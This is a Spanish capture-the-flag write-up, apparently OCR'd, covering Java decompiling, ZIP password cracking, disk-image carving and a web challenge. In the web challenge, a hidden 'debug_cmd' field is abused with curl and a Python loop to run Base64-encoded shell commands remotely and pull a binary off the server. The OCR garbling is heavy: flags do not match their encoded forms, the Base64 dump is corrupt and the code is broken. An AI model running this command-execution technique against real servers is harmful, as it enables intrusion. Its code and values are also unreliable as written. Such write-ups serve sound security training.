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Misc
Mason JAR - Parte 1

Nuestro equipo de inteligencia ha interceptado un archivo sospechoso llamado MasonJar.jar. A
simple vista, parece una aplicacién inofensiva que requiere una clave para entrar, pero el creador
no nos ha proporcionado el acceso.

;Cudl es la fFlag que se muestra tras introducir la contrasefa correcta en el ejecutable Java?
Ficheros:
e MasonJar.jar

Se nos presenta un (@Y. Este puede ser decompilado con multiples herramientas como https://

www.javadecompilers.com/.

Con esto podemos ver el contenido del (FEL-

META-INF/MANIFEST.MF

MasonJar.java

tarro.zip

Dentro de podemos ver el cédigo del programa:

import java.awt.Dimension;

import java.awt.Toolkit;

import java.awt.datatransfer.Clipboard;
import java.awt.datatransfer.ClipboardOwner;
import java.awt.datatransfer.StringSelection;
import java.awt.event.ActionEvent;

import java.awt.event.ActionListener;

import javax.swing.JButton;

import javax.swing.JFrame;

import javax.swing.JLabel;

import javax.swing.JPanel;

import javax.swing.JTextField;

class MasonJar implements ActionListener {
JFrame frame = new JFrame();
JButton send = new JButton("Enviar");
JTextField tf new JTextField(10);
JLabel result new JLabel("", 0);

MasonJar () {
this.prepareGUI();

this.buttonProperties();

public void prepareGUI() {

this.frame.setTitle("MasonJAR");



https://www.javadecompilers.com/
https://www.javadecompilers.com/
https://www.javadecompilers.com/
https://www.javadecompilers.com/

this.frame.setVisible(true);

Dimension dimension = Toolkit.getDefaultToolkit().getScreenSize();

int i = (int)((dimension.getWidth() - (double)this.frame.getwWidth()) / (double)2.0F);
int j = (int)((dimension.getHeight() - (double)this.frame.getHeight()) / (double)2.0F);
this.frame.setBounds(i - 150, j - 75, 300, 150);

this.frame.setDefaultCloseOperation(3);

public void buttonProperties() {
JPanel jPanel = new JPanel();
this.send.setActionCommand("send");
this.send.addActionListener (this);
JLabel jLabel = new JLabel("Clave");
jPanel.add(jLabel);
jPanel.add(this.tf);
jPanel.add(this.send);
this.frame.getContentPane().add("North", jPanel);
this.frame.getContentPane().add("Center", this.result);

this.frame.setVisible(true);

public void actionPerformed(ActionEvent paramActionEvent) {
if (paramActionEvent.getActionCommand().equals("send")) {
if (this.tf.getText().equals("AbreElTarroYCogeLaMermelada")) {
JButton jButton = new JButton("Copiar en el portapapeles");
jButton.setActionCommand("copy");
jButton.addActionListener(this);
this.frame.getContentPane().add("South", jButton);
this.result.setText("ZmxhZ3tXRVI3STEXX3IwYOtfeWoVfQ==");

} else {
this.result.setText("Vuelve a intentarlo!!");

}

} else if (paramActionEvent.getActionCommand().equals("copy")) {
StringSelection stringSelection = new StringSelection(this.result.getText());
Clipboard clipboard = Toolkit.getDefaultToolkit().getSystemClipboard();
clipboard.setContents(stringSelection, (ClipboardOwner)null);

this.result.setText("Copiado correctamente");

public static void main(String[] paramArrayOfString) {

new MasonJdar();

Aqui se encuentra la cadena (A EIR GV RIS CE A M=l que decodificada de Base64 es la

flag:

echo "ZmxhzZ3tXRVO3STEXX3IwYOtfewovfQ==" | base64 -d




flag{WE_wI1l rOcK_yoU}

Mason JAR - Parte 2

¢Cudl es la flag oculta dentro del archivo tarra.zip?

Como era de esperar, el fichero estd protegido por contrasefa, por lo que resulta nesario
crackearlo al no haber ningln tipo de informacién adicional. La pista del diccionario a utilizar se
encuentra en la flag anterior. Con el diccionario (RIS IIR23d se encuentra la contrasefa:

fcrackzip -uDp /usr/share/wordlists/rockyou.txt tarro.zip

. pw == pooknjaye

Con esta contrasena se puede extraer el ZIP:

unzip tarro.zip

Archive: tarro.zip
[tarro.zip] Disco.img password:
inflating: Disco.img

extracting: flag.txt

Y finalmente puede leerse la flag:

cat flag.txt

flag{mERmel1Ad4_cOn_$ab0Or_a_DIsCo}

Mason JAR - Parte 3
¢Cudl es la flag oculta en el video?

Tenemos un fichero con extension @E). El comando revela lo siguiente:

file Disco.img

Disco.img: DOS/MBR boot sector, code offset 0x3c+2, OEM-ID "MSDOS5.0", reserved sectors 2, root entries
512, sectors 40960 (volumes <=32 MB), Media descriptor 0xf8, sectors/FAT 159, sectors/track 63, heads

255, hidden sectors 2048, reserved 0x1, serial number 0x1043f5ad, unlabeled, FAT (16 bit)




Con se puede ver el contenido del disco sin necesidad de montarlo, incluyendo fichero
eliminados:

binwalk Disco.img

DECIMAL HEXADECIMAL DESCRIPTION

247808 0x3C800 8-bit/color non-interlaced
248320 Ox3CA00 image, 55 8-bit/color RGBA, non-interlaced
248832 0x3CCO0 image, 56 8-bit/color RGBA, non-interlaced
249344 Ox3CEO0 image, 55 8-bit/color RGBA, non-interlaced
249856 0x3D00O image, 56 8-bit/color RGBA, non-interlaced
250368 0x3D200 image, 55 8-bit/color RGBA, non-interlaced
250880 0x3D400 image, 56 8-bit/color RGBA, non-interlaced
251392 0x3D600 image, 55 8-bit/color RGBA, non-interlaced
251904 0x3D800 image, 56 8-bit/color RGBA, non-interlaced
252416 Ox3DA0O image, 55 8-bit/color RGBA, non-interlaced
252928 0x3DCOO image, 56 8-bit/color RGBA, non-interlaced
253440 Ox3DEOO image, 55 8-bit/color RGBA, non-interlaced
253952 OX3EQ00 image, 56 8-bit/color RGBA, non-interlaced
254464 OXx3E200 image, 55 8-bit/color RGBA, non-interlaced
254976 OXx3E400 image, 56 x 8-bit/color RGBA, non-interlaced
255488 OXx3E600 image, 55 x 8-bit/color RGBA, non-interlaced
261632 OX3FEOO compressed data, last modified: 1970-01-01 00:00:
262144 0x40000 compressed data, last modified: 1970-01-01 00:00:
263168 0x40400 compressed data, last modified: 1970-01-01 00:00:
263680 0x40600 compressed data, last modified: 1970-01-01 00:00:
264192 0x40800 compressed data, last modified: 1970-01-01 00:00:
264704 OXx40A00 compressed data, last modified: 1970-01-01 00:00:

Puede observarse que hay 16 ficheros PNG. Con podemos extraer todos los ficheros de un

tipo determinado, incluyendo los eliminados.

foremost -t png Disco.img

Processing: Disco.img

11

1s -la output/img/




total 72

drwxrwxr - - daniel daniel

drwxrwxr - - daniel daniel

-rW-rw-r-- daniel daniel 00000484 .

-rW-rw-r-- daniel daniel 00000485.
-rW-rw-r-- daniel daniel 00000486.
-rW-rw-r-- daniel daniel 00000487 .
-rW-rw-r-- daniel daniel 00000488.
SrW-rw-r-- daniel daniel 00000489.
-rW-rw-r-- daniel daniel 00000490.
-rwW-rw-r-- daniel daniel 00000491.
SrW-rw-r-- daniel daniel 00000492.
-rW-rw-r-- daniel daniel 00000493.
-rW-rw-r-- daniel daniel 00000494 .
-rW-rw-r-- daniel daniel 00000495,
-rW-rw-r-- daniel daniel 00000496.
SrW-rw-r-- daniel daniel 00000497.

-rW-rw-r-- daniel daniel 00000498.

R R R R R R R R R R B R R B R B B R

SrW-rw-r-- daniel daniel 00000499.

Las imagenes con fragmentos de un QR. Estos pueden juntarse con herramientas como oa
mano con herramientas como Gimp si eres un tryhard.

montage output/png/*.png -tile 4x4 -geometry +0+0 qr.png

Este QR contiene un enlace a una carpeta de Google Drive con un video. Durante los primeros segundos
se escucha un ruido hace sospechar que se ha incluido algo en el audio.

Abriendo el video con Audacity se puede mostrar el espectrograma. En el fragmento del ruido se

muestra la flag: (EAINZEEENETY):



https://drive.google.com/file/d/1iLlZvdJEzQyqE9n7hXCfvOTIazZLunyM/view?usp=drivesdk
https://drive.google.com/file/d/1iLlZvdJEzQyqE9n7hXCfvOTIazZLunyM/view?usp=drivesdk

Web
El mensaje de Javier
De: Maria Gémez, Software Solutions Inc.
Para: Equipo de Seguridad.
Asunto: Investigacion urgente sobre el Caso Javier.

Javier, del departamento de sistemas, fue despedido la semana pasada. Antes de irse, estaba
trabajando en una "herramienta de diagndstico" que dejaba funcionando en el servidor. Nadie
sabe lo que hace, y tenemos indicios para pensar que en su interior dejé un mensaje secreto muy
peligroso.

Investiga el servidor buscando cualquier tipo de mensaje oculto.
Ten cuidado, Javier es un experto.

P.D: Javier no paraba de hablar de los distintos tipos de codificacion de texto. A veces nos
mandaba correos codificados.

Este desafio inicia una web.

PANEL DE CONTROL

Estado del Sistema

Servidor Web: OPERATIVO
Servidor de Bases de Datos: OPERATIVO
Servidor de Logs: OPERATIVO

Herramienta de Diagnéstico
Servidor:
webO1l.internal v

Prueba:

Ping v

EJECUTAR DIAGNOSTICO

Panel de Control v0.3.1 - Acceso restringido




<body>
<div class="container">

<h1>PANEL DE CONTROL</h1>

<h3>Estado del Sistema</h3>

<ul>
<li>Servidor Web: OPERATIVO</1i>
<li>Servidor de Bases de Datos: OPERATIVO</1i>
<li>Servidor de Logs: OPERATIVO</1i>

</ul>

<script>
function debug() {
var debugField = document.createElement('input');
debugField.setAttribute('type', 'hidden');
debugField.setAttribute('name', 'debug_cmd');
debugField.setAttribute('value', '');

document.querySelector('form').appendChild(debugField);
}

</script>

<h3>Herramienta de Diagndstico</h3>
<form action="/diagnostic" method="POST" onsubmit="initHidden()">
<label for="server">Servidor:</label><br>
<select name="server" id="server'">
<option value="web0Ol.internal">web01.internal</option>
<option value="db01l.internal">db01l.internal</option>
<option value="logs01l.internal">1logs@1l.internal</option>
</select>

<br>

<label for="test">Prueba:</label><br>
<select name="test" id="test">

<option value="ping">Ping</option>

<option value="traceroute">Traceroute</option>
</select>

<br><br>

<!-- Aqui no hay nada... -->

<input type="submit" value="EJECUTAR DIAGNOSTICO">
</form>
<hr>
<div class="footer">
Panel de Control v0.3.1 - Acceso restringido
</div>
</div>

</body>

Llama la atencién la funcién del script que aiade un elemento de entrada al formulario con el

nombre CEENEMEE). Este campo del fomulario puede ser utilizado para enviar datos como en el ejemplo




siguiente:

url="" # No mostrado intencionalmente

curl -X POST -d "debug_cmd=1s" $url/diagnostic

<!DOCTYPE html>
<htm1>
<head><title>Resultado</title>
<style>
body { font-family: Arial, sans-serif; margin: 40px; background-color: #f5f5f5; }
.container { max-width: 800px; margin: @ auto; background: white; padding: 20px; border-radius:
5px; box-shadow: 0 2px 5px rgba(0,0,0,0.1); }
h2 { color: #333; }
pre { background: #f0fefe; padding: 10px; border-radius: 5px; }
a { color: #4CAF50; text-decoration: none; }
a:hover { text-decoration: underline; }
hr { border: 0; border-top: 1px solid #eee; margin: 20px 0; }
</style>
</head>
<body>
<div class="container">
<h2>Resultado del Diagndstico</h2>
<hr>
<pre>ERROR: Comando no codificado
</pre>
<hr>
<a href="/">- Volver al panel</a>
</div>
</body>
</html>

El error nos da la pista de que habria que codificar el comando. El mismo {8 es codificado con
Base64:

url="" # No mostrado intencionalmente

curl -X POST -d "debug_cmd=bHM=" $url/diagnostic

<!DOCTYPE html>
<html>
<head><title>Resultado</title>
<style>
body { font-family: Arial, sans-serif; margin: 40px; background-color: #f5f5f5; }
.container { max-width: 800px; margin: O auto; background: white; padding: 20px; border-radius:
5px; box-shadow: 0@ 2px 5px rgba(0,0,0,0.1); }
h2 { color: #333; }
pre { background: #f0f0f0; padding: 10px; border-radius: 5px; }
a { color: #4CAF50; text-decoration: none; }

a:hover { text-decoration: underline; }




hr { border: ©; border-top: 1px solid #eee; margin: 20px 0; }
</style>
</head>
<body>
<div class="container">
<h2>Resultado del Diagndstico</h2>
<hr>
<pre>herramienta
panel.py
templates
</pre>
<hr>
<a href="/">- Volver al panel</a>
</div>
</body>
</htm1l>

Con esto confirmamos que podemos ejecutar cédigo de forma remota. Por conveniencia hicimos el

siguiente script de Python para ejectutar los comandos de forma interactiva:

import base64
from bs4 import BeautifulSoup
import requests

from requests.models import Response

URL="http://" \
+ '"" '\ # No mostrado intencionalmente

+ '/diagnostic'

while True:

cmd: str = input("Comando (o 'exit'): ")

if cmd.lower () == "exit":

break

data = {
'debug_cmd': base64.b64encode(cmd.encode()).decode()

try:
r: Response = requests.post(URL, data)
soup = BeautifulSoup(r.text, "html.parser")
pre = soup.select_one(".container pre")
print("Status:", r.status_code)
print("Respuesta:")
print('-'*10)
if pre:

print(pre.text, end="")

print('-'*10)

except Exception as e:

print("Error:", e)




Comando (o 'exit'")
Status: 200

Respuesta:

total 32

drwxr-xr-x

drwxr-xr-x

- rWXIr-Xr-X : herramienta
-rW-r--r-- g panel.py

drwxr-xr-x ] templates

En la lista de ficheros devuelta vemos .

Comando (o 'exit'): file herramienta
Status: 200

Respuesta:

herramienta: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /
1ib64/1d-linux-x86-64.s0.2, BuildID[shal]=54a2e60f1fd8518a9c10a498798f28e598404e87, for GNU/Linux 3.2.0,
stripped

Inspeccidndolo vemos que se trata de un ejecutable. Y al iniciarlo se muestra el siguiente mensaje:

Comando (o 'exit'): ./herramienta
Status: 200

Respuesta:

Herramienta Interna de Analisis

Desarrollada por Javier S. F.

-> Realizando diagnéstico:
Servicio web: OK
Servicio db: OK
Servicio logs: OK

-> Diagnéstico completado.

Esto confirma que es la herramienta a la que se refiere el enunciado del reto. Lo siguiente fue conseguir
recuperarla del servidor. Para esto se codificé el contenido del ejecutable a Base64, permitiendo su
copia al equipo local.




Comando (o 'exit'): base64 herramienta
Status: 200

Respuesta:

fOVMRgIBAQAAAAAAAAAAAAMAPgABAAAATBEAAAAAAABAAAAAAAAAATAXAAAAAAAAAAAAAEAAOAAQ
AEAAHQACAAYAAAAEAAAAQAAAAAAAAABAAAAAAAAAAEAAAAAAAAAAEAMAAAAAAAAQAWAAAAAAAAGA
AAAAAAAAAWAAAAQAAABOAWAAAAAAAHQDAAAAAAAADAMAAAAAAAACAAAAAAAAABWAAAAAAAAAAQAA
AAAAAAABAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAKAHAAAAAAAAOACAAAAAAAAAEAAA
AAAAAAEAAAAFAAAAABAAAAAAAAAAEAAAAAAAAAAQAAAAAAAATQMAAAAAAAD t AWAAAAAAAAAQAAAA
AAAAAQAAAAQAAAAATAAAAAAAAAAGAAAAAAAAACAAAAAAAAAGAWAAAAAAACADAAAAAAAAABAAAAAA
AAABAAAABJAAAT gt AAAAAAAAIDOAAAAAAACIPQAAAAAAATGCAAAAAAAAKATAAAAAAAAAEAAAAAAA
AATAAAAGAAAAMCOAAAAAAACYPQAAAAAAAITGIAAAAAAAABAEAAAAAAADWAQAAAAAAAAGAAAAAAAAA
BAAAAAQAAABQAWAAAAAAAFADAAAAAAAAUAMAAAAAAAAKAAAAAAAAACQAAAAAAAAABAAAAAAAAAAE
AAAABAAAALA1IAAAAAAAASCIAAAAAAACWIQGAAAAAAAFAAAAAAAAAAUAAAAAAAAAATAAAAAAAAAAQA
AAAEAAAAACMAAAAAAAAATWAAAAAAAAAJAAAAAAAATAAAAAAAAAAGAAAAAAAAAAQAAAAAAAAAU+VO
ZAQAAACWIgAAAAAAALALIAAAAAAAASCIAAAAAAABQAAAAAAAAAFAAAAAAAAAACAAAAAAAAABQSXRK
BAAAAGghAAAAAAAAaCEAAAAAAABOIQAAAAAAAEQAAAAAAAAARAAAAAAAAAAEAAAAAAAAAFH1AGQG
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAUUVOZAQA
AACILQAAAAAAATG9IAAAAAAAAIDOAAAAAAABAAGAAAAAAAHGCAAAAAAAAAQAAAAAAAAAEAAAAFAAA
AAMAAABHT LUAVKLMDX/YUYQCEKSYeY805ZhATocvbGLiNjQvbGQtbGludXgteDg2LTYOLNNVL]IA
AgAAAAWAAAABAAAABGAAAAAAGQAAAAAADAAAAAAAAADRZ C5 tAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAACQAAAASAAAAAAAAAAAAAAAAAAAAAAAAADOAAAASAAAAAAAAAAAAAAAAAAAAAAAAAF SA
AAASAAAAAAAAAAAAAAAAAAAAAAAAAJGAAAAGAAAAAAAAAAAAAAAAAAAAAAAAAAEAAAASAAAAAAAA
AAAAAAAAAAAAAAAAAAYAAAASAAAAAAAAAAAAAAAAAAAAAAAAALQAAAAGAAAAAAAAAAAAAAAAAAAA
AAAAADMAAAASAAAAAAAAAAAAAAAAAAAAAAAAABCAAAASAAAAAAAAAAAAAAAAAAAAAAAAAMMAAAAY
AAAAAAAAAAAAAAAAAAAAAAAAACWAAAASAAAAAAAAAAAAAAAAAAAAAAAAAEWAAAALAAAAAAAAAAAA
AAAAAAAAAAAAAABWAXRzAFITCc3RhY2t fY2hrX2ZhaWwAX19wemludGZfY2hr AHB1dGNOYXIAdXNS
ZWVWAHBOCMFjZQBfX2xpYmNTc3RhcnRFbWFpbgBfX2N4YVImaw5hbG16ZQBhYm9ydABsawJdjLnNv
LjYAROXJIQKNTMi4zLjQAROXJIQKNTMi40AEAMSUIDXZIuMzQAROXJIQKNTMi4yL jUAXO LUTVIKZXJI1
Z21zdGVyVE1DbGOUZVRhYmx 1AF9fZ21vb19zdGFydFIfAF9JIVEL1fcmVNnaXNOZXJUTUNsb251VGFi
bGUAAAAAAGADAATAAAACAAQAAAACAAUAAAACAATAAQAEAGEAAAAQAAAAAAAAAHQZaQKAAAUAaWAA

ABAAAAAUaWKNAAAEAHCAAAAQAAAAL JGWBOAAAWCBAAAAEAAAAHUaaQkAAATIA]AAAAAAAAACIPQAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAPMPHVPIg+wWI
SISF2S8AAEi1FWHQC/9BIg8QIwWwWAAAAAA/ ZVqLWAA/YyVSsLWAADX9AAPMPHVPOAAAAAONL/ ///ZpDz
Dx76aAEAAADpPOV///2aQ8w8e+mgCAAAAGCL///9mkPMPHVPOAWAAAOMY ////ZpDzDx76aAQAAADpP
ov///2aQ8w8e+mgFAAAAGZL///9mkPMPHVpOBgAAAOMC////ZpDzDx76/yVOLWAAZg8TRAAABW8e
+v81514AAGYPHOQAAPMPHV I/ Jd4uAABMDX9EAADZDX76/yXWLJAAZg8TRAAABW8e+v81z1i4AAGYP
HOQAAPMPHVT /JCYUAABMDX9EAADZDX76/yW+LgAAZg8TRAAABW8e+v8 1t 14AAGYPHOQAAPMPHVOX
7UmJOV5IieJIg+TwUFRFMcAXYUiNPCQBAAD/FZMUAADOZ1i4PH4QAAAAAAELINPbKUAABI jQWYLgAA
SDN4dB1IiwV2LgAASIXAdBH/4A8fQABMZ14PH4QAAAAAAMMPHOAAZMYUDX+EAAAAAABI jT15LgAA
SI01ci4AAEQP/kiJ8EjB7j9IwfgDSAHGSNH+dBXIiwU1LgAASIXAdBD/4A8FAGZMLY8FhAAAAAAA
ww8fQABMZ1i4PH4QAAAAAAPMPHVAAPSUUAAAADTNIgZzODLYAAAFVIieVODEiILPQYUAADomf7//+hE
////XcYF/COAAAHDZMYuDx+EAAAAAADDDX9AAGZmLY8ThAAAAAAABWEe+uLX////8wBe+kiD7A15
AAAAALOBAAAAVGAAAAC/AAAAALGAAAAAGJIH+//9ThcB4BUiDXAjDSIO9 LAGAAOhb/v//vOBCDwWDO
kf7//01iNPRIOAADORT7//+gw/v//8w8e+kFUVVNIjTOZDgAA6CZ+//91jT11DQAAGCD+//+7AAAA

AEYNJYQOAABIjS1wDQAAidrB+h/B6h6NBBgD4AMPOEiYQQ+2PBXAMNWFAEAPVV/0yP3//0iDwwFI

g/s1ddFIjT2/DQAABNLY//9bXUFcw/MPHvpVUOiD7DhkSISEJSgAAABIiUQKKDHASIO9XAOAAOLN
/f//SIO9DAOAA0Lb/f//SIO91ABAAQLIP/f//6PP+//91jT23DAAAG6H79/ /91 jRXFDAAASIKUJIELIN
BfYMAABIiUQKCEiNBe®OMAABIiUQKEEjHRCQYAAAAAELJ40iNLAOMAABIie6/AQAAALJAAAAAGGHY
//+/IKEHAOhs/f//SIPDCEiLEQiFONXYSIO9VgWAAOQU/T//SItEIJChkSCSEJSgAAABLIDLGAAAAA
SIPEOFtdw+gD/f//AAAABW8Be+kiD7AhIg8QIWWAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA




AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
